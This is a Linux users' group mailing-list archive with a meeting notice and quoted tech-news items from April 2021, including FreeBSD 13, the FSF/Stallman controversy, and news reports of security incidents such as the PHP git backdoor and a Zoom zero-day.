Hi everyone Due to ANZAC day being observed on Monday 26th, our next WLUG meeting is a week early on the 19th (ie next week!): 'Home automation (aka smart home) is now widely available through a range of consumer products. But often, these devices are only accessible through closed-source apps and also tend to "phone home". Let's have a look, together with Peter Reutemann, at Home Assistant (https://www.home-assistant.io/) an open-source home automation framework that puts local control and privacy first.' -- source: https://www.meetup.com/WaikatoLinuxUsersGroup/events/274861049/ Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

FreeBSD 13 Released
by Peter Reutemann 16 Apr '21

16 Apr '21

'"FreeBSD, the other Linux, reached version 13," writes long-time Slashdot reader undoman. "The operating system is known for its stable code, native ZFS support, and use of the more liberal BSD licenses." Phoronix highlights some of the major new improvements: FreeBSD 13.0 delivers on performance improvements (particularly for Intel CPUs we've seen in benchmarks thanks to hardware P-States), upgrading to LLVM Clang 11 as the default compiler toolchain, POWER 64-bit support improvements, a wide variety of networking improvements, 64-bit ARM (AArch64) now being a tier-one architecture alongside x86_64, EFI boot improvements, AES-NI is now included by default for generic kernel builds, the default CPU support for i386 is bumped to i686 from i486, and a variety of other hardware support improvements. Various obsolete GNU tools have been removed like an old version of GNU Debugger used for crashinfo, obsolete GCC 4.2.1 and Binutils 2.17 were dropped from the main tree, and also switching to a BSD version of grep. ' -- source: https://tech.slashdot.org/story/21/04/15/2034216 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

EFF Partners With DuckDuckGo
by Peter Reutemann 16 Apr '21

16 Apr '21

'The Electronic Frontier Foundation (EFF) today announced it has enhanced its groundbreaking HTTPS Everywhere browser extension by incorporating rulesets from DuckDuckGo Smarter Encryption. According to the digital rights group's press release, HTTPS Everywhere is "a collaboration with The Tor Project and a key component of EFF's effort to encrypt the web and make the Internet ecosystem safe for users and website owners." From the press release: "DuckDuckGo Smarter Encryption has a list of millions of HTTPS-encrypted websites, generated by continually crawling the web instead of through crowdsourcing, which will give HTTPS Everywhere users more coverage for secure browsing," said Alexis Hancock, EFF Director of Engineering and manager of HTTPS Everywhere and Certbot web encrypting projects. "We're thrilled to be partnering with DuckDuckGo as we see HTTPS become the default protocol on the net and contemplate HTTPS Everywhere's future." EFF began building and maintaining a crowd-sourced list of encrypted HTTPS versions of websites for a free browser extension -- HTTPS Everywhere -- which automatically takes users to them. That keeps users' web searching, pages visited, and other private information encrypted and safe from trackers and data thieves that try to intercept and steal personal information in transit from their browser. [...] DuckDuckGo, a privacy-focused search engine, also joined the effort with Smarter Encryption to help users browse securely by detecting unencrypted, non-secure HTTP connections to websites and automatically upgrading them to encrypted connections. With more domain coverage in Smarter Encryption, HTTPS Everywhere users are provided even more protection. HTTPS Everywhere rulesets will continue to be hosted through this year, giving our partners who use them time to adjust. We will stop taking new requests for domains to be added at the end of May. ' -- source: https://yro.slashdot.org/story/21/04/15/2047229 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Inspur, China's Largest Cloud Hardware Vendor, Joins Open-Source Patent Consortium
by Peter Reutemann 14 Apr '21

14 Apr '21

'ZDNet: The Open Invention Network (OIN) defends the intellectual property (IP) rights of Linux and open-source software developers from patent trolls and the like. This is a global fight and now the OIN has a new, powerful allied member in China: Inspur. Inspur is a leading worldwide provider and China's leading data center infrastructure, cloud computing, and artificial intelligence (AI) server providers. While not a household name like Lenovo, Inspur ranks among the world's top-three server manufacturers. Inspur is only the latest of many companies to join the OIN. Besides such primarily hardware-oriented companies as Inspur, Baidu, China's largest search engine company, and global banks such as Barclays and the TD Bank Group, have joined the OIN. In 2021, companies far removed from traditional Linux companies such as Canonical, Red Hat, and SUSE all recognize Linux and OSS's importance. Donny Zhang, VP of Inspur information, said, "Linux and open source are critical elements in technologies which we are developing and provisioning. By joining the Open Invention Network, we are demonstrating our continued commitment to innovation, and supporting it with patent non-aggression in core Linux and adjacent open-source software." "Linux is rewriting what is possible in infrastructure computing," says OIN CEO Keith Bergelt. "OSS-based cloud computing and on-premise data centers are driving down the cost-per-compute while significantly increasing businesses' ability to provision AI and machine-learning (ML) capabilities. We appreciate Inspur's participation in joining OIN and demonstrating its commitment to innovation and patent non-aggression in open source."' -- source: https://news.slashdot.org/story/21/04/13/2058235 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

NAME:WRECK Vulnerabilities Impact Millions of Smart and Industrial Devices
by Peter Reutemann 14 Apr '21

14 Apr '21

'Catalin Cimpanu, reporting at Record: Security researchers have found a new set of vulnerabilities that impact hundreds of millions of servers, smart devices, and industrial equipment. Called NAME:WRECK, the vulnerabilities have been discovered by enterprise IoT security firm Forescout as part of its internal research program named Project Memoria -- which the company describes as "an initiative that aims at providing the cybersecurity community with the largest study on the security of TCP/IP stacks." Although never visible to end-users, TCP/IP stacks are libraries that vendors add to their firmware to support internet connectivity and other networking functions for their devices. These libraries are very small but, in most cases, underpin the most basic functions of a device, and any vulnerability here exposes users to remote attacks. The NAME:WRECK research is the fifth set of vulnerabilities impacting TCP/IP libraries that have been disclosed over the past three years, and the third set disclosed part of Project Memoria.' -- source: https://it.slashdot.org/story/21/04/13/1849248 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

There's Another Facebook Phone Number Database Online
by Peter Reutemann 14 Apr '21

14 Apr '21

'An online tool lets customers pay to unmask the phone numbers of Facebook users that liked a specific Page, and the underlying dataset appears to be separate from the 500 million account database that made headlines last week, signifying another data breach or large scale scraping of Facebook users' data, Motherboard reports. From the report: Motherboard verified the tool, which comes in the form of a bot on the social network and messaging platform Telegram, outputs accurate phone numbers of Facebook users that aren't included in the dataset of 500 million users. The data also appears to be different to another Telegram bot outputting Facebook phone numbers that Motherboard first reported on in January. "Hello, can you tell me how you got my number?" one person included in the dataset asked Motherboard when reached for comment. "Omg, this is insane," they added. Another person returned Motherboard's call and, after confirming their name, said "If you have my number then yes it seems the data is accurate." A description for the bot reads "The bot give [sic] out the phone numbers of users who have liked the Facebook page." To use the bot, customers need to first identify the unique identification code of the Facebook Page they want to get phone numbers from, be that a band, restaurant, or any other sort of Page. This is possible with at least one free to use website. From there, customers enter that code into the bot, which provides a cost of the data in U.S. dollars and the option to proceed with the purchase, according to Motherboard's tests. A Page with tens of thousands of likes from Facebook users can cost a few hundred dollars, the bot shows. The data for Motherboard's own Page would return 134,803 results and cost $539, for example.' -- source: https://tech.slashdot.org/story/21/04/13/1953232 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Nvidia To Make CPUs, Going After Intel
by Peter Reutemann 13 Apr '21

13 Apr '21

'Nvidia said it's offering the company's first server microprocessors, extending a push into Intel's most lucrative market with a chip aimed at handling the most complicated computing work. Intel shares fell more than 2% on the news. From a report: The graphics chipmaker has designed a central processing unit, or CPU, based on technology from Arm, a company it's trying to acquire from Japan's SoftBank Group. The Swiss National Supercomputing Centre and U.S. Department of Energy's Los Alamos National Laboratory will be the first to use the chips in their computers, Nvidia said Monday at an online event. Nvidia has focused mainly on graphics processing units, or GPUs, which are used to power video games and data-heavy computing tasks in data centers. CPUs, by contrast, are a type of chip that's more of a generalist and can do basic tasks like running operating systems. Expanding into this product category opens up more revenue opportunities for Nvidia. Founder and Chief Executive Officer Jensen Huang has made Nvidia the most valuable U.S. chipmaker by delivering on his promise to give graphics chips a major role in the explosion in cloud computing. Data center revenue contributes about 40% of the company's sales, up from less than 7% just five years ago. Intel still has more than 90% of the market in server processors, which can sell for more than $10,000 each. The CPU, named Grace after the late pioneering computer scientist Grace Hopper, is designed to work closely with Nvidia graphics chips to better handle new computing problems that will come with a trillion parameters. Systems working with the new chip will be 10 times faster than those currently using a combination of Nvidia graphics chips and Intel CPUs. The new product will be available at the beginning of 2023, Nvidia said.' -- source: https://hardware.slashdot.org/story/21/04/12/1639237 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

The FSF Doubles Down On Restoring RMS After His Non-Apology Apology
by Peter Reutemann 13 Apr '21

13 Apr '21

'In late March, the Free Software Foundation (FSF) readmitted its founder Richard M. Stallman (RMS) to its board, catching everyone by surprise. Now, weeks later, RMS "offers a defensive non-apology apology for the words and actions that led to his resignation from the FSF," writes Steven J. Vaughan-Nichols via ZDNet. Slashdot reader destinyland shares an excerpt of his statement from the Free Software Foundation's official website: Looking back over his life starting as a teenager, Stallman writes: "I realized that I didn't understand the subtle cues that other people were responding to. Later in life, I discovered that some people had negative reactions to my behavior, which I did not even know about. Tending to be direct and honest with my thoughts, I sometimes made others uncomfortable or even offended them -- especially women. This was not a choice: I didn't understand the problem enough to know which choices there were." "Sometimes I lost my temper because I didn't have the social skills to avoid it," Stallman adds. "Some people could cope with this; others were hurt. I apologize to each of them. Please direct your criticism at me, not at the Free Software Foundation. Occasionally I learned something about relationships and social skills, so over the years I've found ways to get better at these situations. When people help me understand an aspect of what went wrong, and that shows me a way of treating people better, I teach myself to recognize when I should act that way. I keep making this effort, and over time, I improve. Some have described me as being 'tone-deaf,' and that is fair. With my difficulty in understanding social cues, that tends to happen." This is just an excerpt. But through eight short paragraphs, Stallman seems to want to offer up a larger context for his badly-received defense of Professor Minsky on an MIT mailing list. (And Stallman adds later that "I condemn racism and sexism, including their systemic forms, so when people say I don't, that hurts too...") "I've learned something from this about how to be kind to people who have been hurt," writes Stallman. "In the future, that will help me be kind to people in other situations, which is what I hope to do." "RMS did not, however, address the many other issues which caused people to regret his return to a position of leadership," writes Vaughan-Nichols. Soon after the RMS post appeared on the FSF's front page, the board spoke on why they'd brought him back. The unsigned document states: The voting members of the Free Software Foundation, which include the board of directors, voted to appoint Richard Stallman to a board seat after several months of thorough discussion and thoughtful deliberation. We decided to bring RMS back because we missed his wisdom. His historical, legal and technical acumen on free software is unrivaled. He has a deep sensitivity to the ways that technologies can contribute to both the enhancement and the diminution of basic human rights. His global network of connections is invaluable. He remains the most articulate philosopher and an unquestionably dedicated advocate of freedom in computing. RMS acknowledges that he has made mistakes. He has sincere regrets, especially at how anger toward him personally has negatively impacted the reputation and mission of FSF. While his personal style remains troubling for some, a majority of the board feel his behavior has moderated and believe that his thinking strengthens the work of the FSF in pursuit of its mission. We take full responsibility for how badly we handled the news of his election to a board seat. We had planned a flow of information that was not executed in a timely manner or delivered in the proper sequence. [...]' -- source: https://news.slashdot.org/story/21/04/12/2039234 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Git.PHP.net Not Compromised in Supply Chain Attack, but User Database Leak Possible
by Peter Reutemann 12 Apr '21

12 Apr '21

'Inside.com's developer newsletter reports: The PHP team no longer believes the git.php.net server was compromised in a recent attack, which prompted PHP to move servers to GitHub and caused the team to temporarily put releases on hold until mid-April... In an update offering further insight into the root cause of the late March attack, the team says because it's possible the master.php.net user database was exposed, master.php.net has been moved to main.php.net. The team also reset php.net passwords, and you can visit https://main.php.net/forgot.php to set a new password. In addition, git.php.net and svn.php.net are both read-only now. Two malicious commits were pushed to the php-src repo from PHP founder Rasmus Lerdorf and PHP core developer Nikita Popov, Popov announced March 28. After an investigation, the PHP team reassured users these malicious commits never reached end-users. However, the team decided to move to GitHub after determining maintaining its own git infrastructure is "an unnecessary security risk." "In 2019, the PHP team temporarily shut down its Git server after discovering that an attacker had maliciously replaced the official PHP Extension and Application Repository with a malicious one," reports CPO magazine. But this newer supply chain attack "targeted any server that uses PHP ZLib compression when sending data. Most servers use this functionality on almost all content except images and archives that are already size optimized." The supply chain attack would have turned PHP into a remote web shell through which the attackers could execute any command without authentication. This is because the malicious attackers would have the same privileges as the web server running PHP. The backdoor is triggered at the start of a request by checking if the request contains the word "zerodium." If this condition was met, PHP executes the code in the "User-Agentt" request header. The header closely resembles the PHP "User-Agent" request for checking for browser properties. The rest of the request would thus be treated as a command that could be executed on a PHP server using the server's privileges. This would allow the hackers to run any arbitrary command without the need for further privileges... PHP powers 80% of all websites. Thus, a successful supply chain attack exploiting the language could prove catastrophic.' -- source: https://developers.slashdot.org/story/21/04/11/022247 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 1

Reactions to Arch Linux's New Guided Installer
by Peter Reutemann 12 Apr '21

12 Apr '21

'Long-time Slashdot reader xiando quotes LinuxReviews: The community distribution Arch Linux has up to now required you to manually install it by entering a whole lot of scary commands in a terminal. Arch version 2021.04.01 features a new guided installer [reached by] typing python -m archinstall guided into the console you get when you boot the Arch Linux installation ISO. It is not very novice-friendly, or user-friendly, but it gets the job done and it will work fine for those with some basic GNU/Linux knowledge. Tech Radar writes that previously Arch Linux had "a rather convoluted installation process, which has given rise to a stream of Arch-based distros that are easier to install," adding that the new installer "was reportedly promoted as an official installation mechanism back in January, and was actively worked upon leading to its inclusion in the installation medium." Users have been calling on Arch Linux for simplifying the installation process for a long time, to bring it in line with other Linux distros. However, the Arch philosophy has always been to put the users in charge of every aspect of their installation, which is the antithesis of automated installers. Phoronix calls the new installer "very quick and easy," although "granted not as user-friendly / polished as say the Debian Installer, Red Hat's Anaconda installer, even Ubuntu's Subiquity, and other TUI/GUI Linux installers out there." They also note that Archinstall "does allow automatically partitioning the drive with your choice of file-system options, automatically installing a desktop environment if desired, configuring the network interfaces, and all the other basics." The method is quick enough that I'll likely use archinstall for future Arch Linux benchmarks on Phoronix as it also then applies a sane set of defaults for users... Five minutes or less and off to the races, ready for Arch Linux." But Slashdot reader I75BJC still favors "scary commands in a terminal," leaving this comment on the original submission: If you can't type with the big adults, stay on your PlayStation. Even Apple, with its very good GUI has a command line. The command line commands are more flexible, more specific, more subtle than the pointy-clicky GUI.' -- source: https://linux.slashdot.org/story/21/04/10/1755241 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Apple M1 hardware support merged into Linux 5.13
by Peter Reutemann 10 Apr '21

10 Apr '21

'Asahi Linux—founded by Hector "marcan" Martin—has merged initial support for Apple M1 hardware into the Linux system-on-chip (SOC) tree, where it will hopefully make it into the Linux 5.13 kernel (which we can expect roughly in July).' -- source: https://arstechnica.com/gadgets/2021/04/apple-m1-hardware-support-merged-in… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

APKPure App Contained Malicious Adware, Say Researchers
by Peter Reutemann 10 Apr '21

10 Apr '21

'Security researchers say APKPure, a widely popular app for installing older or discontinued Android apps from outside of Google's app store, contained malicious adware that flooded the victim's device with unwanted ads. From a report: Kaspersky Lab said that it alerted APKPure on Thursday that its most recent app version, 3.17.18, contained malicious code that siphoned off data from a victim's device without their knowledge, and pushed ads to the device's lock screen and in the background to generate fraudulent revenue for the adware operators. But the researchers said that the malicious code had the capacity to download other malware, potentially putting affected victims at further risk.' -- source: https://it.slashdot.org/story/21/04/09/1834230 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Critical Zoom Vulnerability Triggers Remote Code Execution Without User Input
by Peter Reutemann 10 Apr '21

10 Apr '21

'ZDNet: A zero-day vulnerability in Zoom which can be used to launch remote code execution (RCE) attacks has been disclosed by researchers. The researchers from Computest demonstrated a three-bug attack chain that caused an RCE on a target machine, and all without any form of user interaction. As Zoom has not yet had time to patch the critical security issue, the specific technical details of the vulnerability are being kept under wraps. However, an animation of the attack in action demonstrates how an attacker was able to open the calculator program of a machine running Zoom following its exploit. As noted by Malwarebytes, the attack works on both Windows and Mac versions of Zoom, but it has not -- yet -- been tested on iOS or Android. The browser version of the videoconferencing software is not impacted. Computest researchers Daan Keuper and Thijs Alkemade earned themselves $200,000 for this Zoom discovery, as it was part of the Pwn2Own contest. In a statement to Tom's Guide, Zoom thanked the Computest researchers and said the company was "working to mitigate this issue with respect to Zoom Chat." In-session Zoom Meetings and Zoom Video Webinars are not affected. "The attack must also originate from an accepted external contact or be a part of the target's same organizational account," Zoom added. "As a best practice, Zoom recommends that all users only accept contact requests from individuals they know and trust."' -- source: https://it.slashdot.org/story/21/04/09/209227 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Wix and Their Dirty Tricks
by Peter Reutemann 09 Apr '21

09 Apr '21

'Matt Mullenweg, co-founder of the open-source blogging platform WordPress, writes: Wix, the website builder company you may remember from stealing WordPress code and lying about it, has now decided the best way to gain relevance is attacking the open source WordPress community in a bizarre set of ads. They can't even come up with original concepts for attack ads, and have tried to rip-off of Apple's Mac vs PC ads, but tastelessly personify the WordPress community as an absent, drunken father in a therapy session. I have a lot of empathy for whoever was forced to work on these ads, including the actors, it must have felt bad working on something that's like Encyclopedia Britannica attacking Wikipedia. WordPress is a global movement of hundreds of thousands of volunteers and community members, coming together to make the web a better place. The code, and everything you put into it, belongs to you, and its open source license ensures that you're in complete control, now and forever. WordPress is free, and also gives you freedom. So if we're comparing website builders to abusive relationships, Wix is one that locks you in the basement and doesn't let you leave. I'm surprised consumer protection agencies haven't gone after them. Wix is a for-profit company with a valuation that peaked at around 20 billion dollars, and whose business model is getting customers to pay more and more every year and making it difficult to leave or get a refund. (Don't take my word for it, look at their investor presentations.) They are so insecure that they are also the only website creator I'm aware of that doesn't allow you to export your content, so they're like a roach motel where you can check in but never check out. Once you buy into their proprietary stack you're locked in, which even their support documentation admits.' -- source: https://it.slashdot.org/story/21/04/08/2011222 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

3 2

some leaks
by Peter Reutemann 09 Apr '21

09 Apr '21

Facebook Does Not Plan To Notify Half-Billion Users Affected by Data Leak https://tech.slashdot.org/story/21/04/07/2011245 Hackers Scraped Data from 500 Million LinkedIn Users -- and Have Posted it For Sale Online https://yro.slashdot.org/story/21/04/08/1755237 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

IBM Creates a COBOL Compiler For Linux On x86
by Peter Reutemann 08 Apr '21

08 Apr '21

'IBM has announced a COBOL compiler for Linux on x86. "IBM COBOL for Linux on x86 1.1 brings IBM's COBOL compilation technologies and capabilities to the Linux on x86 environment," said IBM in an announcement, describing it as "the latest addition to the IBM COBOL compiler family, which includes Enterprise COBOL for z/OS and COBOL for AIX." The Register reports: COBOL -- the common business-oriented language -- has its roots in the 1950s and is synonymous with the mainframe age and difficulties paying down technical debt accrued since a bygone era of computing. So why is IBM -- which is today obsessed with hybrid clouds -- bothering to offer a COBOL compiler for Linux on x86? Because IBM thinks you may want your COBOL apps in a hybrid cloud, albeit the kind of hybrid IBM fancies, which can mean a mix of z/OS, AIX, mainframes, POWER systems and actual public clouds. [...] But the announcement also suggests IBM doesn't completely believe this COBOL on x86 Linux caper has a future as it concludes: "This solution also provides organizations with the flexibility to move workloads back to IBM Z should performance and throughput requirements increase, or to share business logic and data with CICS Transaction Server for z/OS." The new offering requires RHEL 7.8 or later, or Ubuntu Server 16.04 LTS, 18.04 LTS, or later. ' -- source: https://linux.slashdot.org/story/21/04/08/018243 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Google Wins Oracle Copyright Fight as Top Court Overturns Ruling
by Peter Reutemann 07 Apr '21

07 Apr '21

'The U.S. Supreme Court ruled that Alphabet's Google didn't commit copyright infringement when it used Oracle's programming code in the Android operating system, sparing Google from what could have been a multibillion-dollar award. From a report: The 6-2 ruling, which overturns a victory for Oracle, marks a climax to a decade-old case that divided Silicon Valley and promised to reshape the rules for the software industry. Oracle was seeking as much as $9 billion. The court said Google engaged in legitimate "fair use" when it put key aspects of Oracle's Java programming language in the Android operating system. Writing for the court, Justice Stephen Breyer said Google used "only what was needed to allow users to put their accrued talents to work in a new and transformative program." Each side contended the other's position would undercut innovation. Oracle said that without strong copyright protection, companies would have less incentive to invest the large sums needed to create groundbreaking products. Google said Oracle's approach would discourage the development of new software that builds on legacy products.' -- source: https://news.slashdot.org/story/21/04/05/1448243 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

4 4

Google Open-Sources Lyra In Beta To Reduce Voice Call Bandwidth Usage
by Peter Reutemann 07 Apr '21

07 Apr '21

'Google today open-sourced Lyra in beta, an audio codec that uses machine learning to produce high-quality voice calls. VentureBeat reports: The code and demo, which are available on GitHub, compress raw audio down to 3 kilobits per second for "quality that compares favorably to other codecs," Google says. Lyra's architecture is separated into two pieces, an encoder and decoder. When someone talks into their phone, the encoder captures distinctive attributes, called features, from their speech. Lyra extracts these features in 40-millisecond chunks and then compresses and sends them over the network. It's the decoder's job to convert the features back into an audio waveform that can be played out over the listener's phone. According to Google, Lyra's architecture is similar to traditional audio codecs, which form the backbone of internet communication. But while these traditional codecs are based on digital signal processing techniques, the key advantage for Lyra comes from the ability of its decoder to reconstruct a high-quality signal. Google believes there are a number of applications Lyra might be uniquely suited to, from archiving large amounts of speech and saving battery to alleviating network congestion in emergency situations. ' -- source: https://news.slashdot.org/story/21/04/06/2013234 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Rust in the Android platform
by Peter Reutemann 07 Apr '21

07 Apr '21

'Correctness of code in the Android platform is a top priority for the security, stability, and quality of each Android release. Memory safety bugs in C and C++ continue to be the most-difficult-to-address source of incorrectness. We invest a great deal of effort and resources into detecting, fixing, and mitigating this class of bugs, and these efforts are effective in preventing a large number of bugs from making it into Android releases. Yet in spite of these efforts, memory safety bugs continue to be a top contributor of stability issues, and consistently represent ~70% of Android’s high severity security vulnerabilities. In addition to ongoing and upcoming efforts to improve detection of memory bugs, we are ramping up efforts to prevent them in the first place. Memory-safe languages are the most cost-effective means for preventing memory bugs. In addition to memory-safe languages like Kotlin and Java, we’re excited to announce that the Android Open Source Project (AOSP) now supports the Rust programming language for developing the OS itself. ' -- source: https://security.googleblog.com/2021/04/rust-in-android-platform.html Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Results of Debian Vote On Stallman To Be Known By April 17
by Peter Reutemann 07 Apr '21

07 Apr '21

'iTWire: The outcome of a general resolution proposed by the Debian GNU/Linux project, to decide how to react to the return of Free Software Foundation founder Richard Stallman to the board, will be known on April 17, with voting now underway. The original proposal for a GR was made by Steve Langasek, who also works for Canonical, the company behind Ubuntu, and calls for co-signing an existing letter which wants Stallman gone and the FSF board sacked. There has been a lot of discussion around the issue. Six alternatives have been proposed. The proposals are: - remove the entire FSF board as in an existing letter; - seek Stallman's resignation from all FSF bodies; - discourage collaboration with the FSF while Stallman remains in a leading position; - ask FSF to further its governance processes; - support Stallman's reinstatement; - denounce the witch hunt against Stallman and the FSF; and - issue no public statement on the issue. During the organization's LibrePlanet virtual event on March 19, Stallman announced that he was rejoining the board and does not intend to resign again. His return has drawn condemnation from many people in the free software community. Just days after his announcement, an open letter calling for Stallman to be removed again and for the FSF's entire board to resign was signed by hundreds of people. Linux giant Red Hat has decided to pull funding, while the 'Open Source Initiative' said that it "will not participate in any events that include Richard M. Stallman," adding that it "cannot collaborate with the Free Software Foundation until Stallman is removed from the organization's leadership."' -- source: https://linux.slashdot.org/story/21/04/05/239225 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Back In The Day ...
by Lawrence D'Oliveiro 06 Apr '21

06 Apr '21

Came across this story <https://forums.theregister.com/forum/all/2021/04/05/who_me/#c_4233327> in a comment to an article about, shall we say, Customs foibles: A friend of mine got pulled over by US Customs because of the reel of half-inch magtape sticking out his hand luggage. Customs guy: what's on your tape, data or softtware? Friend: why do you need to know? Customs guy: if it's software, you need to pay import tax and duty. if it's data, you don't Friend: it's data - it's input for testing a compiler

1 0

Linus Torvalds Discusses Intel and AMD's New Proposals for Interrupt/Exception Handling
by Peter Reutemann 05 Apr '21

05 Apr '21

'"AMD and Intel have both proposed better ways of doing interrupt and exception handling the last few months," reports LinuxReviews.org. Then they share this analysis Linus Torvalds posted on the Real World Technologies forum: "The AMD version is essentially "Fix known bugs in the exception handling definition". The Intel version is basically "Yeah, the protected mode 80286 exception handling was bad, then 386 made it odder with the 32-bit extensions, and then syscall/sysenter made everything worse, and then the x86-64 extensions introduced even more problems. So let's add a mode bit where all the crap goes away". In contrast, the AMD one is basically a minimal effort to fix actual fundamental problems with all that legacy-induced crap that are nasty to work around and that have caused issues... Both are valid on their own, and they are actually fairly independent. Honestly, the AMD paper looks like a quick "we haven't even finished thinking all the details through, but we know these parts were broken, so we might as well release this". I don't know how long it has been brewing, but judging by the "TBD" things in that paper, I think it's a "early rough draft"." In the article (shared by long-time Slashdot reader xiando), LinuxReviews.org summarizes the state of the conversation today: Torvalds went on to say that while AMD's proposed "quick fix" would be easier to implement for him and others operating system vendors, it's not ideal in the long run. Intel's proposal throws the entire existing interrupt descriptor table (IDT) delivery system under the bus so it can be replaced with what they call a new "FRED event delivery" system. Torvalds believes this is a better long-term solution... While the pros and cons of Intel and AMD's respective proposals for interrupt and event handling in future processors are worthy of discussion, it's in reality mostly up to Intel. They are the bigger and more powerful corporation. It is more likely than not that future processors from Intel will use their proposed Flexible Return and Event Delivery system. Their next generation processors won't, it will take years not months before consumer CPUs have the FRED technology. Remember, the above-mentioned technical document was published earlier this month [in March]. Things do not magically go from the drawing-board to store-shelves overnight. Intel isn't going to just hand the FRED technology over to AMD and help them implement it. We will likely see both move forward with their own proposals. Intel will have FRED and AMD will have Supervisor Entry Extensions until AMD, inevitably, adopts FRED or some form of it years down the line. They also note that Torvalds took issue with a poster arguing that microkernels are more secure than monolithic kernels like Linux. "Bah, you're just parroting the usual party line that had absolutely no basis in reality and when you look into the details, doesn't actually hold up. It's all theory and handwaving and just repeating the same old FUD that was never actually really relevant."' -- source: https://hardware.slashdot.org/story/21/04/03/179214 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 1

AMD Zen 3 CPUs Vulnerable To Spectre-like Attacks via PSF Feature
by Peter Reutemann 05 Apr '21

05 Apr '21

'US chipmaker AMD advised customers last week to disable a new performance feature if they plan to use CPUs for sensitive operations, as this feature is vulnerable to Spectre-like side-channel attacks. >From a report: Called Predictive Store Forwarding (PSF), this feature was added to AMD CPUs part of the company's Zen 3 core architecture, a processor series dedicated to gaming and high-performance computing, which launched in November 2020. The feature implements a technique called speculative execution, which works by running multiple alternative CPU operations in advance to make results available faster, and then discarding "predicted" data once deemed unneeded.' -- source: https://it.slashdot.org/story/21/04/02/1721241 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Open-Source Software Becomes a Standard In Dortmund, Germany
by Peter Reutemann 05 Apr '21

05 Apr '21

The Council of the German city of Dortmund has announced that it's embracing free and open-source software, wherever possible. The Document Foundation reports: The Dortmund Council has declared digitalisation to be a political leadership task in its Memorandum 2020 to 2025. In the course of this, two central resolutions for free software were passed on February 11, 2021, for which the minutes were published on March 30: - "Use of open source software where possible." - "Software developed by the administration or commissioned for development is made available to the general public." With this resolution, city policy takes on the shaping of municipal digital sovereignty and digital participation. The resolution means a reversal of the burden of proof in favor of open source software -- and at the expense of proprietary software. In the future, the administration will have to justify why open source software cannot be used for every proprietary software application. Based on the report of the Dortmund city administration on the investigation of the potentials of free software and open standards, open source software is understood in the sense of free software. ' -- source: https://news.slashdot.org/story/21/04/02/1957213 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

FSF Management Team Resigns, as FSF Now Seeks 'Improved Transparency'
by Peter Reutemann 05 Apr '21

05 Apr '21

